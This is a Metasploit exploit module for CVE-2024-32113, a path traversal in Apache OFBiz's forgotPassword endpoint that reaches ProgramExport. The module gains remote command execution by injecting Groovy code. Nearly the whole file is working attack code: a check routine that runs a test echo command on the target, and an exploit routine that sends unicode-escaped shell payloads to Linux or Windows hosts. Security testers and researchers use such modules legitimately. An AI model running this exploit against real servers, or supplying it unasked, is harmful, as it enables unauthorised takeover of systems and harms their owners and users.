##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache OFBiz Forgot Password Directory Traversal',
        'Description' => %q{
          Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable
          endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in
          turn allows for remote code execution in the context of the user running the application.
        },
        'Author' => [
          'Mr-xn', # PoC
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://github.com/Mr-xn/CVE-2024-32113'],
          [ 'URL', 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113'],
          [ 'CVE', '2024-32113']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[linux win],
        'Privileged' => true, # You get a root session when exploiting a docker container though user level session on Windows.
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Linux Command',
            {
              'Platform' => ['linux', 'unix'],
              'Arch' => [ARCH_CMD],
              'Type' => :unix_cmd
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => ['win'],
              'Arch' => [ARCH_CMD],
              'Type' => :win_cmd
            }
          ],
        ],
        'Payload' => {
          'BadChars' => "\x3a"
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-05-30',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        },
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 8443
        }
      )
    )
  end

  def send_cmd_injection(cmd)
    data = "groovyProgram=throw+new+Exception('#{cmd}'.execute().text);"
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword;/ProgramExport'),
      'headers' => {
        'HOST' => '127.0.0.1'
      },
      'method' => 'POST',
      'data' => data
    })
  end

  def check
    echo_test_string = rand_text_alpha(8..12)
    case target['Type']
    when :win_cmd
      test_payload = to_unicode_escape("cmd.exe /c echo #{echo_test_string}")
    when :unix_cmd
      test_payload = to_unicode_escape("echo #{echo_test_string}")
    else
      return CheckCode::Unknown('Please select a valid target')
    end

    res = send_cmd_injection(test_payload)
    return CheckCode::Unknown('Target did not respond to check.') unless res

    unless res.get_html_document&.xpath("//div[@class='content-messages errorMessage' and .//p[contains(text(), 'java.lang.Exception: #{echo_test_string}')]]")&.empty?
      return CheckCode::Vulnerable('Tested remote code execution successfully')
    end

    CheckCode::Safe('Attempting to exploit vulnerability failed.')
  end

  def to_unicode_escape(str)
    str.chars.map { |char| '\\u%04x' % char.ord }.join
  end

  def exploit
    print_status('Attempting to exploit...')
    res = ''
    case target['Type']
    when :win_cmd
      res = send_cmd_injection(payload.encoded)
    when :unix_cmd
      res = send_cmd_injection(to_unicode_escape("sh -c $@|sh . echo #{payload.raw}"))
    else
      fail_with(Failure::BadConfig, 'Invalid target specified')
    end
    print_error('The target responded to the exploit attempt which is not expected. The exploit likely failed') if res
  end
end